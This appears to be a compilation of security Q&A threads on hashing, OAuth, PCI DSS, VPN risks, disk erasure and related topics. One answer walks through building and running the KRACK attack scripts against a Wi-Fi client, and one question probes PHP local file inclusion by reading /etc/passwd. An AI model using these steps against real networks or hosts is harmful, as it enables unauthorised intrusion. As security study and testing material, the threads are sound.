Won't all hashes collide after enough iterations with a static salt? We all know that we're supposed to take a fairly slow hashing algorithm, salt the password, and run the hash for many iterations. Let's say that I'm following almost everything except for one rule, and I have a static salt. Something like this:

password = 'yaypuppies' + some_static_salt

1000.times do
    password = amazing_hash(password)
end

And now password is a great hashed and salted thing. All is well with the world.

But what if we ran it a whole lot more iterations?

3000000000000000000.times do # 3 quintillion
    password = amazing_hash(password)
end

Would, in theory, many passwords collide? I.e. would this happen?

pass1 -> lkajsdlkajslkjda > 23oiuolekeq > n,mznxc,mnzxc > common_thing > 987123oijd > liasjdlkajsd > 09893oiehd > 09uasodij
pass2 -> loiuoklncas > 9830984cjlas > ioasjdknckauyieuh > common_thing > 987123oijd > liasjdlkajsd > 09893oiehd > 09uasodij

And both passwords end up hashed to 09uasodij?

With a non-randomized-per-password salt, does the chance of a collision go up with every iteration added?

When iterating a hash function, space reduction occurs, but not down to a single point. For a randomly chosen function (that your "amazing_hash" is supposed to approach), with a n-bit output, you may expect to ultimately reach a cycle of size 2n/2 or so, i.e. still big enough if you use a decent output size (say, n = 256).

See this answer for more detailed explanations. I reproduce here the scheme from that answer, because it is a good eye-catcher:

Of course, a "static salt" is not a salt; it just means that you are using a custom hash function. The salt is meant to deter parallel attacks: when the attacker tries to crack 10 passwords, it costs him 10 times the cost of cracking one. With a "static salt", cracking 10 passwords costs no more than cracking 1, i.e. a total failure of the salting.

Salts are not about avoiding collisions, notably because collisions are not a problem for password hashing. It is preimage resistance that you should worry about.


Clean and cheap protection for user registration HTTP requests? I am developing a website that has user registration. I already built some rate-limit protection techniques using nginx and at a lower level using iptables, but I am worried about real-world attacks like ip-spoofing or DDoS.

The only solution I know is Google's CAPTCHA which is even used by big companies like Reddit and Gitlab. The problem is that it's not friendly on mobile and tablet devices, and in addition it puts visitors off.

Is there any known clean and cheap method for HTTP POST request floods? I thought to add a temporary random token to POST parameters that is stored also on my server for one or two seconds using Redis to check whether the request is automated (i.e. fast) or by a human (slow). I don't want to convince myself this is a reliable solution since I am no security expert.

I am struggling to imagine how this provides any protection against ip-spoofing. Regardless IP-spoofing on a TCP connection is hard to achieve - I would recommend you ignore it for now.

In terms of DOS protection, I would urge caution. The more sophisticated your measures for protection, the more they become a bottleneck and hence exploitable by DOS.

  I thought to add a temporary random token to POST parameters that is stored also on my server for one or two seconds

Sounds rather expensive to me. You really want to minimise the amount of information you are capturing/attempting to store about potential DOS requests.

One solution is to put the storage cost back on the client: Create a cookie on the browser in an earlier page containing serverside encrypted values indicating some attributes about the client (such as the IP address or ASN, browser...) and a millisecond level timestamp using javascript and validate it in the POST request.

Note that you need to think about how you would validate an IP address which can span more than one session.

Dropping the cookie and using javascript validates that the client is a browser (or a fairly sophisticated facsimile) which has visited other pages on your site. A short interval between the timestamp generation and the cookie being presented would indicate a scripted attack.

  rate-limit protection techniques using nginx and at a lower level using iptables

I will assume that you have ensured that these do not have a capacity impact and you have resized your conntrack table.


PCI DSS Protectecting Card Data Elements when Transmitting PAN I'm currently working on a mobile application that will need to transmit a customers full card data to an internal API that will then transmit the information to an external API owned by a payment processing company I'll be working with. I've read up on the PCI DSS requirements about storing card data which seems straight forward. However, while reading up on the subject I ran across this footnote:

These data elements must be protected if stored in conjunction with the PAN.  This protection should be per PCI DSS requirements for general protection of the cardholder data environment. Additionally, other legislation (e.g., related to consumer personal data protection, privacy, identity theft, or data security) may require specific protection of this data, or proper disclosure of a company’s practices if consumer-related personal data is being collected during the course of business. PCI DSS, however, does not apply if PANs are not stored, processed, or transmitted.

Source
If I understand this section, specifically the last sentence about transmitting full PANs, I will need to protect the other data elements (such as CVV, expiry, etc.) since I will be transmitting the PAN. What I'm struggling with is: How do I protect those values? Is transmitting the data elements via secure HTTP connections satisfactory? Or are there other measures I would need to take with this scenario?

Encryption at transit
Assuming you're not storing these values (encryption at rest is a separate issue), the relevant PCI requirement is #4 "Encrypt transmission of cardholder data across open, public networks" clause 4.1 which requires you to ensure strong cryptography and security protocols.
Transmitting that data over HTTPS fits that requirement, it is acceptable as long as you ensure proper process (e.g. no possibility to downgrade to http, denying older protocols such as TLS1.1, etc). You do need to ensure that this data is not transmitted over other, insecure channels - for example, in communication with your customer service agents over email or some chat application, as per requirement #4.2.


Command Syntax for KRACK pentesting I have been trying to pen test my router with a variety of ways, long story short, it locks out indefinitely with pixie wps until I go to the router admin page and click unlock. I tried DDOS with MDK, but I think it is ignoring me.

I had the idea to MITM and use Amazon Cloud, but my calculation is that my password would take years because of it's relative complexity.

Finally I read about KRACK and watched the proof of concept video while reading the paper and got stuck in what I think is a syntax newbieness, i.e I understand how it works but I don't know how to properly code it. Would you all please be so kind to point me in some reference material, other than the official krack website and the links in it?

To be specific, I am working on the Andoird implementation. I know that I have to block the EAPOL msg 3 twice, send the two of them together to the client to reuse nonce 1. The problem is, how do I translate it into a bash script? That is, once I have MITM position, what would be the best command/algorithm to filter and pass the messages?

EDIT: It seems that there is a misunderstanding about my original post. What I mean is that I want to hack my own android device using the KRACK Attack on Kali Linux. To make it clearer, I am trying to make own attack script but I am not sure about the syntax/command to be used. Therefore I am asking for references/books about bash script that is relatable to reproducing the Krack Attack, i.e what I need is more scripting guidance rather than the algorithm of the Krack attack as I have read the original paper. Thank you guys!

The book, Kali Linux Wireless Penetration Testing Beginner's Guide, 3rd Edition, covers the setup of the krackattacks-scripts tools.

Deps:

apt-get install libnl-3-dev libnl-genl-3-dev pkg-config libssl-dev
net-tools git sysfsutils python-scapy python-pycryptodome

Make hostapd:

cd hostapd

cp defconfig .config

make -j2

Run the scripts. Identify which works for your hardware by reading the guides. Note that this may crash your system, especially if you are working from a guest VM:

cd ../krackattack

./disable-hwcrypto.sh

Modify the hostapd.conf file to your specifications. The default SSID is testnetwork with password abcdefgh.

Disable network manager

systemctl stop NetworkManager.service

systemctl disable NetworkManager.service

Finally, execute the Python scripts necessary

python krack-test-client.py

More information in the Vanhoef and Piessens paper, Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2.


Why does Authorization Code flow need the authorization code? I've implemented Auth Code flow with PKCE on my server, but I'm still not entirely clear on why I'm doing it. I've read through the IETF documentation and I get flashes of what seems like understanding but it always seems to fade.

The nearest I can tell at the moment is that an attacker could have access to server info (via leaking HTTP logs it seems they are saying) but not client info, and thus when you add the code verifier and code challenge you're cutting that out. But then, if you're not acting as a third-party provider atm (and the new guidance seems to include people who aren't) what's the authorization code for and how does that make things better than with Implict Flow?

I'm sure that's ridiculously simplistic. Anything that could help me understand is very welcome :).

I suppose that this artictle should explain the most of your doubts.

https://medium.com/securing/what-is-going-on-with-oauth-2-0-and-why-you-should-not-use-it-for-authentication-5f47597b2611

Shortly speaking if you use implicit flow you are vulnerable to token leakage through URL (because URLs are logged into HTTP server logs) or token injection (where client is not able to check if the sender of the token is the legitimate token issuer).

Including code removes access token from the query string (so the token leakage vulnerability), because, to get the access token, you need to make additional backend request to Authorization Server (AS) which you already know is legitimate. To secure more, you should use it with PKCE to ensure that noone have stolen the code PKCE is verified by Authorization Server and only if is valid AS will return access token to the client.

So in summary, token is sent only in backend. Token issuer (AS) is validating if client is legitimate checking the code_verifier (PCKE). Token is provided only as a response for a request to legitimate AS. Having this both sides are secured.


Running Untrusted Software on Local Network So I need to run a bit of software on my local network that I just have the .exe for. The caveat is:

The software needs access to the internet to produce a bunch of files.
I need to access those files from another computer on the network (they will be large so over the internet doesn't make much sense).
The exe will run on windows only.
The developer will also need remote access to the computer to update the exe so I obviously don't want him to be able to access my local network.

Its 99% likely the software is completely fine but there is the 1% chance it isn't so how can I run the software so it has access to the internet but not to any other resource on the network (and can't get itself access) but other machines on the LAN will be able to access files it produces. Right now all I can think of is running it on a seperate internet connection and having it host an FTP.

I was planning on running this on Windows Server 2008 R2 and have the ability to virtualize the computer through VMWare.

DMZ the Windows machine and host a SFTP server on it. Apply firewall rules to limit access to the developer (RDP? ssh?) and the resources from the outside, and for incoming SFTP connections from inside your network. You might also need to protect other assets in the DMZ from this machine.

Your question is unfinished and you omit some details about what environment you are in, but my suggestion follows standard procedure for this very common problem.


Path Truncation not working in PHP while exploiting LFI From what I understand in PHP '/etc/passwd/' or '/etc/passwd/./././' should be treated just the same as '/etc/passwd'

I am using PHP 5.4 and this does not seem to be true:

  php -r "include('/etc/passwd'); "

works fine but

  php -r "include('/etc/passwd/'); "

  Warning: include(/etc/passwd/): failed to open stream: No such file or
  directory in Command line code on line 1

  Warning: include(): Failed opening '/etc/passwd/' for inclusion
  (include_path='.:') in Command line code on line 1

The same is true for :

  php -r "include('/etc/./././passwd'); "

works!

  php -r "include('/etc/./././passwd/'); "

  Warning: include(/etc/./././passwd/): failed to open stream: No such
  file or directory in Command line code on line 1

  Warning: include(): Failed opening '/etc/./././passwd/' for inclusion
  (include_path='.:') in Command line code on line 1

does not work!

Can someone please let me know if I am doing anything wrong or is the path truncation issue fixed?

"Realpath" finding was completely redone in this commit on August 12, 2008, in a way that is no longer vulnerable to the path truncation attack.  These changes were released in PHP 5.3.0, so no version newer than that will be vulnerable (unless the bug was reintroduced, which does not seem to have happened).

As an aside, there is no indication that anyone ever notified the PHP developers of this attack or that the fix for this attack was deliberate - it actually seems that it was fixed as a byproduct of fixing another bug.

Additionally, when used with NGINX and FastCGI, PHP is still vulnerable to a similar attack in which the PHP interpreter will process a request from the webserver even if the filename has extra stuff on the end.  However, the behavior that allows this attack is by design in both NGINX and PHP, so the only way to protect from it is to use one of the five listed workarounds.


Shellshock Bash bug on mobile systems Does the bug in Bash affect Android or iOS mobile systems?

Not out-of-the-box. I know of no Android or iOS device running a bash shell. Some people might, on their rooted devices, but that will be only a few.


wpa2-psk aes hacking with android I have a digisol HR3400 router, I want to prevent it from being hacked.

Can I use wpa2-psk aes to prevent hacking by Android apps like andro dumper or wpa tester?

WPA2 AES is the best encryption you can choose right now for your wireless network. You should put a large and strong password to avoid bruteforce attacks. The password should container letters (uppercase and lowercase), numbers, symbols. You can set it from 8 to 63 digits. The more larger, more difficult to crack using bruteforce. Of course, the password must not be included on any dictionary, so must be something "invented".

If you want to be secure you still should perform an important task. You must disable WPS if your access point has it enabled. With this feature enabled an alternative auth can be performed using a 8 digit pin that can be easily bruteforced. And after success doing this, your WPA2 password is revealed (no matter how large and strong is). So disable WPS is mandatory.

Androdummper, and that kind of tools are taking advantage of WPS. So if you disable it, you are more protected.


What are the potential security risks of using a commercial VPN service? Commercial VPN services are gaining a lot of popularity and some of them are heavily advertising their products on social media networks and technology magazines today.

The advantages of using such a service could be privacy from ISPs and additional protection from  man-in-the-middle attacks when connecting mobile devices to obscure networks, if no own private server to tunnel the connection to is available to the user.

But what are the risks involved in using such a service?

It's recommended to research and find a trustworthy VPN service, if needed. What could happen, if the service provider acts against their users? (Because of malicious intent or a security breach)

In a similar question, it was mentioned that the VPN service provider could be monitoring the users' traffic, instead of their ISP, but the question was more directed toward the outward appearance of the user by connecting to a VPN in general.

What additional security risks could a commercial VPN service potentially introduce, compared to using a direct connection to the target server?

Sub questions:

Could the VPN provider supply manipulated websites to the user? Would HTTPS protect from this?
Can the VPN connection potentially work both ways, as in: The provider gaining access to home networks? (When using OpenVPN or proprietary client software)
Can the customer information be falsified and lead to incorrect incrimination on basis of the illegal activity of another user with shared server resources? Or even fabricated evidence?

Are there other risks involved?

Broadly speaking, using a VPN does not eliminate all risk, it is about shifting the risk (perceived or real) from your ISP to the VPN.

People have different reasons for using a VPN like:

evading government surveillance
becoming more 'anonymous'
accessing geographically restricted content (streaming, movies)
protecting themselves against rogue access points when on the move

Depending on what you are trying to achieve a VPN can be a solution... or not.

The worst risk imo is that the VPN will often turn out to be useless and will not help you achieve your goals. I am not going to cover all possible scenarios but suffice it to say configuration errors are very common, at least client-side like:

leaking DNS requests
leaking IPv6 traffic

Or:

disconnections

If you are looking to 'cloak' your traffic from the authorities then the plan is not being fruitful. And most people don't have the technical skills to thoroughly assess their VPN setup.

  It's recommended to research and find a trustworthy VPN service, if
  needed. What could happen, if the service provider acts against their
  users? (Because of malicious intent or a security breach)

We should first define the meaning of 'trustworthy', because everyone probably has different expectations. Some people must think that a trustworthy VPN service is on that will never cooperate with authorities, even if you engage in highly illegal activity. The second aspect is how do we assess trustworthiness. I would guess: based on their track record, except that you won't hear so often about people indicted thanks to cooperation from their VPN service (but it happens).

You usually don't know the people running the VPN service so why would you blindly trust strangers with your Internet traffic ? Providers of VPN service talk a lot about privacy and make often misleading claims about 'not logging traffic', but there is no way to verify those claims.

If you are paranoid you can set up your own VPN service, cheaply. All it takes is a decent VPS. But that does not solve the confidentiality problem completely. The webhost could be monitoring (or logging) your activity. At least you have full control and you can configure it the way you want. But you become less anonymous too (because your Internet activity is tied to a static IP address). Again, it depends on your goals.

  Can the VPN connection potentially work both ways, as in: The provider gaining access to home networks? (When using OpenVPN or proprietary client software)

This is an interesting question. A VPN is a network tunnel so it works both ways. The provider has to segregate traffic and isolate the activity of clients. As for yourself, you should have a firewall on your computer. The other end of the tunnel can probe your computer. If the VPN is misconfigured (lack of isolation) it is conceivable that others on the same network segment could also probe you.

There are some other risks, that are not technical but practical. Many websites block VPN outright or flag their users as potentially high-risk clients (they assume you have something to hide). If you order some stuff you may be subject to increased scrutiny because of your IP address. Your credit card payment could fail become you appear to come from another country. At times you will be asked to justify yourself.

Keep in mind that the IP address ranges of popular services are usually well-known - lists exist. Since you are sharing IP addresses with other people you can also be affected by the bad actions of other people. Imagine that you are ordering stuff from some site, and another person defrauded them, using the same VPN, possibly the very same IP address. What the vendor thinks: you are the scammer and you're trying to pull another scam. You: trying to prove your innocence.

Worse, if you had an existing account in good standing it could be jeopardized/tainted because of that fateful connection made using a third-party VPN service.

In 2020 algorithms make decisions, risk assessment is computer-driven and humans are not always in the loop to endorse decisions. There is no such thing as automated justice. On the other hand automated discrimination does scale pretty well.


Automatically import/deploy/distribute private key to users for use with S/MIME it is an Environment with Microsoft Active Directory, Exchange and Windows/Outlook as Client. Now there are the users which have their own private certificates to send signed mails and encrypt decrypted mails for themself, but all users also access a central mailbox where they should be able to do the same but for this central mailbox.
So there is a private key for this central Mailbox
But how do i distribute the private key to all users, so they can read and sign mails as the central mailbox? Is there a way to install the private key automatically instead of importing the private key manually?

What you are looking for is a PGP Key Management Server associated with some sort of desktop app like https://www.gpg4win.org

There are plenty of guides if you google/duckduckgo how to setup a key server


Can or should whitelisting replace encryption? I've noticed that there is a third-party webservice we utilize programmatically at my job to transmit somewhat sensitive information and I was surprised to see that the endpoint was only using http, rather than https. Upon further investigation it appears that a whilelist is being employed by this webservice, meaning that theoretically only our server that actually utilizes this service should have access.

I'm wondering whether the use of a whitelist is sufficient as a protection against sniffing/MitM attacks? Being a security conscious member of our team, I'm obviously in support of using https anywhere that potentially sensitive data is transmitted, but I'm not sure if that would be overkill or unnecessary when combined with a controlled whitelist.

Obviously a malicious insider on the same network segment as our server may be able to observe this communication in the clear. But for the sake of argument I'd like to assume this situation is unlikely.

The sniffing problem is about "confidentiality", which whitelisting does not cover, as the traffic can be intercepted and read.

The MitM problem is about "authenticity", which whitelisting does not cover either, as an intercepted packet can be modified without evidence of tampering.
I assume the whitelisting uses IP addresses, which can be arbitrarily forced into TCP/IP packets.


Is it safe to send a CSR via email? I'm new to commercial SSL certificates and would like to know if a CSR that I generate is safe to send via email?

Sure but I don't think that the certificate authority should receive CSRs by email unless they are employing a mechanism (like signing your email with PGP/GPG) to ensure that the CSR came from you (rather than someone pretending to be you).


Lock down OS to specific hardware device I know everything is reversible.  But how could I lock down an instance of linux to a specific hardware device?  Possibly tying the filesystem to a specific serial number on the board for instance.

Here's a simple solution

On first boot, require authentication from the server. Have a Username which is stored on the device. The server provides a password associated with that username.
On later verification, send that password to the server.
The server sends back a new password which is stored. The client acknowledges receipt of the new password.
On later verification send the new password. If it doesn't work, tries the last known working password.
The server verifies the password is 'latest one that was acknowledged'.

a) If it matches, the server proceeds at step 3. (new password for rotation)

b) Otherwise, this is a copy, that is out of sync with the other instances of your device.

The client would have limited time use of these copies until the Server-verification catches the fraud. The client would have to make further modifications of you image to bypass this protection.

Hopefully someone else here knows how to check some hardware of your ARM device for a serial number, as that would provide a more immediate failure without waiting for an internet connection.

As you admit in your original post, these protections could be altered or removed by editing the contents of the SSD before duplicating.

The best solution would be to move a portion of the functionality to the cloud, so that an internet connection is required for operation instead of simply verification. Of course this is not always a possibility.

There may be specialized hardware out there which I am not familiar with which is

a) Difficult or impossible to copy.

b) Verifies the contents of the booting operating system

c) If OK, passes a decryption key needed to decrypt the application code before it can run.

There may be specialized hardware (again, not familiar with any) that takes this approach instead: Stores the encryption key in a self-destructable storage, so that when the frame of your device is opened, then the device will no longer be able to boot.

Also the device should be powered off at the same time to start the process of making the Memory irrecoverable.

If you are interested in any of these specialized hardware options then you should post a second question with specifics and maybe someone here will know if they exists and what they are called.

Edit: Many Android devices have something called Trusted Execution Environment (TEE) and/or Secure Element (SE) which may be helpful search terms in the category of specialized hardware. See Android Keystore System.


Is running an erase tool after an OS install sufficient to ensure no data from the old install is recoverable? How secure do you consider this process?

A drive has data from a previous OS installation.
A new OS installation is made on the drive, and Heidi Eraser is run on free space.

What are the chances of data being recovered from the original install?

As far as I can see from the documentation, Heidi Eraser makes a serious attempt at erasing all the unused space on the disk where old data may linger. Make sure to select “erase cluster tips”, as otherwise some hard-to-exploit data fragments could be left in blocks that are only partially used by a file (because the size of this file is not a whole number of blocks) (this is explained in the “cluster tips” entry in the glossary in the manual). Heider Eraser also takes care of erasing the filesystem table to wipe the names of old files. I have not seen any reference to erasing areas reserved for filesystem metadata which may not have been initialized (I don't know if NTFS has such areas).

Nonetheless, I strongly recommend wiping data before installing the new operating system, because it's simpler. Heider Eraser has to whitelist areas to wipe, because it must make sure not to erase live data. Wiping a blank disk is straightforward. Do this, then install the new operating system.

Note that overwriting once with zeroes is practically as good as overwriting with random data multiple times (there was a difference with 1980s technology, but not with today's denser disks). Also, note that against an attacker with physical access and some electronic equipment, wiping is not enough, especially with SSD, because the disks reallocate defective or worn sectors but you can still read them with the right equipment. See How can I reliably erase all information on a hard drive? and other [deletion] questions on this site.


Have questions about received security scan I received a security scan from Fortify on a webapp (using SSL/HTTPS) written in Angular that I am working on and I have two questions (high risk issues) that I'm seeking help on.

Access Control: Unprotected File - GET /fonts/fontawesome-webfont.ttf?4.3.0.  So the webapp uses fontawesome icons and I'm guessing that the webfont files being accessible is the problem?  I'd first like clarification that my understanding is correct.  Then, is there anything I can do?  If I change the permissions, I can stop the access to the file, but then the icons don't display!  Is it really a high security risk that the webfont files are unprotected?
Password Management: Insecure Submission - GET /templates/some_file.html?user=12345&pwd=12345.  The webapp at a certain point will pop up a modal that requests a username and password.  'user' and 'pwd' are from the name field and I don't know if simply removing the name fields from the inputs would solve this problem?  The other thing that I've already done is take all the html files that are not index.html and built them (using grunt) into a javascript file, so now you can't just access /templates/some_file.html and I don't know if that solves this problem as well?

Finally, I see CWE numbers which I'm unclear as to if these correspond to CVE numbers that I've seen mentioned on sites?  When I receive a report like this, is there a site I can go to that explains these issues in detail so that I may learn about them?

Best Regards,
Julie

First, as strong as Fortify is for static analysis, it still doesn't understand your application or deployment model so it has to make guesses sometimes. And when in doubt, Fortify says something is a problem. So you will have many false positives that you simply need to ignore. You can do this by setting the Analysis field to Not an issue in Audit Workbench or the SSC. Fortify will carry this forward to future scans so that you never need to pay attention to this issue again.

Unprotected File - It's hard to be certain without seeing the code but, based on your description, it sounds like this isn't a problem. Fortify is correct, these files are unprotected, but they're supposed to be that way. So mark it Not an issue and move on.
Password Management: Insecure Submission - The problem here is your use of GET instead of POST to do the login request. GET parameters are passed through as part of the URL after a ? character. URLs have the nasty tendency of getting recorded in logs and such. So passing a password, or any other confidential data, via a GET request is considered a privacy exposure. You should change the request to a POST on the client and/or the server, depending on your webapp framework.

CWEs are entries in the Common Weakness Enumeration. They are a list of common programming and deployment mistakes that lead to security flaws. Fortify displays them to help you understand the problem it found. For example, the unprotected file issue might show up as CWE-306: Missing Authentication for Critical Function. You can just google them to find specific ones. If you've not already read the CWE-25, it is probably worth your time to do so. Those issues tend to come up often in application security.


Suspicious Entry in DMARC Report I recently contacted a vendor of security-related development libraries to ask for a quote (I won't name them yet).

The next day, Postmark sent me my weekly DMARC report - and it contained 2 failed entries originating from this vendor's domain, saying that both SPF and DKIM failed. Here is what the report says:

  Untrusted Sources (Not Aligned)

  No alignment means that neither DKIM
  nor SPF pass the DMARC policy. These messages are either spam
  (spoofed) or require your attention for SPF / DKIM authentication.
  It's important to monitor these emails closely

Has this vendor really been trying to spoof emails from our domain? Perhaps some kind of vulnerability probe?

Or is there any plausible, innocent explanation for these entries?

It has already been agreed that there is too little information to work with in this question, but I'd still like to point out the two most plausible and non-malicious explanations in case the question pops up again.

The email you sent to the Vendor was not properly handled by Yourself.

Not meaning to point finger, but at any request for help, this should be the first suspicion. The "neither DKIM nor SPF pass" does not automatically say that both "failed". You may have one fail and one that wasn't configured at all for your domain.

This is of course the reason to have DMARC reports at all. Even if you seem to be sure of your setup, please do send a test email to e.g. gmail and read through the headers of the recipient email.

The Vendor has an email forwarding system that isn't properly configured for DMARC.

This is unfortunately more common than one would hope. See reasons for reference:
https://www.dmarcanalyzer.com/forwarding-within-dmarc/

It is sometimes said that it's only a problem for SPF, but forwarders may change both headers and body for internal and perfectly innocent (but less valid) reasons. If the forwarder keeps your domain as From-address the DMARC report will be sent to you.

  The next day, Postmark sent me my weekly DMARC report - and it
  contained 2 failed entries originating from this vendor's domain,
  saying that both SPF and DKIM failed.

I'm not familiar with Postmark, but for each fail it should be possible to see:

a) Which server reported the fail
b) What was the originating sender server
c) What was the DKIM signature domain
d) What was the SPF verification domain

Using this information it should be possible to learn more about the "spoof". When you say "originating from this Vendor domain" I can't clearly assume which of a-d you mean.

As also already pointed out, in both of these cases your email may have been lost and your request to the Vendor needs to be retried. Sending a follow-up email is a good way to check if the same report appear again of if it was a one-time thing.

In any case I'd say it is not a bad idea to ask the Vendor about the "spoof". They can probably help you with an explanation and you decide if you are willing to trust them. It may also be that they are unaware of a mail configuration problem they have.


Should encryption key be stored remotely? Consider the following scenarios of storing sensitive data locally on a network connected always-on device:

without any data encryption whatsoever
with encryption, the key stored locally in the device
with encryption, the key stored on a remote location accessible via network

No matter where the key is stored, once the attacker gets physical access to the device, they can obtain the key and decrypt the data. Does storing the  encryption key remotely provide any advantage in terms of data security, or are all three scenarios effectively equivalent?

Keeping the key on the device is your best option if you have a secure place to put it. Network transport provides a much larger attack surface, even if you use TLS to transfer the key.
The usual problem is that with physical access you can easily dump the key by dumping firmware. Many embedded systems handle this with a secure key storage peripheral, either using an on-chip feature like ARM TrustZone, or an off-chip device such as Microchip's CryptoAuthentication ICs. This then acts as an oracle that can perform operations using that key (with certain defined restrictions) without ever revealing it.
Implementing this safely in practice is extremely difficult, though. It is often possible to break a lot of on-chip security features either through misconfiguration, bugs, or glitching attacks on the ICs themselves.


How does Thunderbird quarantine downloaded emails? Is it dangerous to download emails and store them offline? There shouldn't be a high security risk as long as the email attachments aren't opened / executed by the user but it could still be a risk and maybe I'm wrong.

So how does Thunderbird quarantine email attachments? (For example to prevent other programs from executing malicious attachments.) And is that method secure or would storing emails offline be a dangerous thing to do?

So how does Thunderbird quarantine email attachments?

Not at all.

  (For example to prevent other programs from executing malicious
  attachments.)

Again, not at all. There's no way this is possible without taking over the OS. Any normal program can read the files where Thunderbird stores it's mails.

If this is a problem because a program could execute malicious attachments, you already have a problem because there's a malicious program already running.

  would storing emails offline be a dangerous thing to do?

From a technical point, no. (Depending on the content of your mails, there might be legal problems if mails are found, or anything like that).

In theory it's possible that the text content of the mail contains text that triggers a critical bug (in Thunderbird or in the OS or...), but that's true for all programs, and not likely in case of email text.

However, one thing that you didn't mentioned: Viewing HTML mails.
It would be better to not do that, ie. configure Thunderbird to always display raw text (and ignore senders that are too stupid to include text versions). With any "active" (JS) or external (CSS, images, ...) content, there are plenty harmful things that can be done. And even with things like image blockers and so on, it's still a risk.


No Debugger, but a ton of "DbgUiRemoteBreakin" threads I noticed that just about every running process on my Windows 7 desktop - whether it be explorer.exe, lsm.exe, winlogon.exe, or firefox.exe has at least 1 (usually 6+) of the following thread: "ntdll.dll!DbgUiRemoteBreakin"

From what I can gather, "ntdll!DbgUiRemoteBreakIn is used by the debugger to break in to a process, and the debugger assumes that the local address of DbgUiRemoteBreakIn matches the remote address of DbgUiRemoteBreakIn in the target process. Kernel32 is required to be at the same base address because there are a number of internal kernel32 routines that, similar to ntdll!DbgUiRemoteBreakIn, are used in cross-process thread injection."

and, "the DebugBreakProcess API injects a remote thread into the address space of the target process."

I don't use or have any kind of debugger software/program that I know of, and the threads are active when no programs are running, right after the computer starts.

If I understand correctly, "ntdll.dll!DbgUiRemoteBreakin" are remote threads being injected into the computer. That doesn't seem good.

An example:

Any ideas on how to prevent it and/or figure out why it's happening?

Thank you!

The first explanation that comes to my mind for having applications being "debugged" mysteriously is that you are infected by some kind of malware that injects itself into other programs (this way, the malicious behaviour appears to come from these normal programs).

The way to prevent it would obviously be to remove such malware from your system. The hard part is identifying it. Did you look at the libraries loaded and startup processes?


Prevent credential roaming for certain accounts/certificates? I want to use credential roaming in Windows 7, 8 and 10 for EFS certificates, so users can access their encrypted files from any computer they login to.

However, some of these users will also have more important certificates, ones used for things like private key recovery or certificate enrollment.  I don't want those credentials automatically available on any computer they login to.

Is there any way to prevent certain certificates from roaming?  Or if not, disable it for certain users?

I have never actually done this. But here's a few things Google brought up:

  Is there any way to prevent certain certificates from roaming?

MS says to link them to a different account altogether, or put them on a smart card.

  Or if not, disable it for certain users?

Because CR works with a user GPO, you could deny some users "apply group policy" permissions to that GPO.


What is x-frame content? I tried scanning  websites for vulnerabilities and found most of them are with low risk x-frame content and "nosniff" what is it exactly?

X-Frame-Options HTTP response headers  are useful in that they tell the browser to not allow framing from other domains so that it protects against clikjacking.
For your second question,  you can read from here:

Sending the new X-Content-Type-Options response header with the value
nosniff will prevent Internet Explorer from MIME-sniffing a response
away from the declared content-type.


Resetting the admin password for an application We have a enterprise application dealing with data. We have one super user (admin) that has the highest level of privileges. The application is not opensource. If some customer has forgotten the password then we request them to send us the metadata and we reset it. Is this the right way? We know that many db vendors provide a way to reset the admin or the super user password. What's the best way to deal with this?

The best way would be to provide a script seperate from the application which modifies the database store and resets the password of the user to one of the client's choosing (e.g. password given as argument). You should advise your clients to restrict access to the script at the operating system level to ensure no unauthorized access can occur. You can also advise your clients to perform auditing on the script's execution.


Using OpenSSL to encrypt/decrypt a file? I am testing OpenSSL by executing the Known Answer tests provided here.

When using AES-128-CBC with the following parameters:

KEY = 00000000000000000000000000000000
IV = 00000000000000000000000000000000
Input = f34481ec3cc627bacd5dc3fb08f273e6

the output should be the following: 0336763e966d92595a567cc9ce537f5e

I executed the following command in my terminal:

openssl aes-128-cbc -e -in in.txt -out out.txt -K  00000000000000000000000000000000 -iv 00000000000000000000000000000000 -p -nosalt

where the in.txt file contains my input, I get an output file with gibberish. I am assuming that it is being encrypted correctly because when I decrypt the same file with the same parameters, I get my input back.

I also tried an online tool to verify the result provided in the online document, extranet.cryptomathic.com which also gives the correct output.

How can I view the output in the format provided in the AESAVS document? Is the method that I have applied for encrypting the plaintext file correct or am I missing something here?

The input and output files should contain the binary data while the IV and KEY arguments should be hexadecimal data. But, you probably have put the hexadecimal data (f34481ec3cc627bacd5dc3fb08f273e6) into the input file and thus created an input file consisting of 32 ASCII characters instead of 16 (binary) bytes.

If done correctly it works.
First decode the hex string into binary, i.e. 32 byte hex into 16 byte binary data:

$ perl -e 'print pack(q[H*],q[f34481ec3cc627bacd5dc3fb08f273e6])'  > in.txt

Then run the encryption. Note that I've additionally used the -nopad option in the encryption because otherwise openssl adds an additional empty 16 bytes block to pad the input to the next 16 byte boundary.

$ openssl aes-128-cbc -nopad -e -in in.txt -out out.txt \
  -K  00000000000000000000000000000000 -iv 00000000000000000000000000000000 -p -nosalt

And finally encode the binary output (16 bytes) into  a hex string so that you can compare it to the expected result:

$ perl -e 'local $/; print unpack(q[H*],<>),"\n"' < out.txt
0336763e966d92595a567cc9ce537f5e


Is corrupting the ciphertext corruption a good erasure? Normally when you wipe a drive there are still ghost remains of the data even after overwriting the disk multiple times. So I was wondering if you could encrypt the drive and then overwrite the encrypted data, would it be possible to recover any data from the corrupted ciphertext or would the data be completely impossible to recover?

Normally when you wipe a drive there are still ghost remains of the data even after overwriting the disk multiple times.

I'll save you some work. This isn't true, and hasn't ever been true as far as anyone can tell.

The technique often referred to here is called Magnetic Force Microscopy (MFM) and was referenced in an old DoD standard for disk erasure. Despite attempts to replicate the concept, nobody has ever been able to recover data from a magnetic disk erased with even one pass of random data, and nobody has ever been able to recover data from a magnetic disk erased with one pass of zeroes outside of lab conditions on very old low density disks (5GB in size or less). It is estimated that those processes could only be performed at a rate of megabytes per month on disks erased with a zero wipe pass, and without complete confidence in the resulting data (bits could be wrong!).

Modern disks have such a high density that overwriting with random data destroys any chance of reading any "latent" magnetic data, even with sophisticated specialised equipment. The physics just doesn't work that way. The signal to noise ratio between the newly written data and whatever "latent" magnetic trace is so vast that there's no way to recover a "previous" bit's value with a confidence better than 50-50.

MFM and similar myths are often touted by disk erasure software companies who want to scare you into thinking you need their product. You can particularly ignore anyone that references the Gutmann method, which was designed for types of magnetic disks from the 80s and 90s.

Current DoD guidelines for disposal of magnetic media state that a single random data pass is sufficient up to SECRET, and physical destruction is advised for TOP SECRET. The latter is most likely a risk assessment that it is probably cheaper to destroy the disks completely rather than risk the potential of getting something wrong during the wiping process. Anything in excess of a single random wipe pass is pure superstition. All you're doing is wearing out your disk.

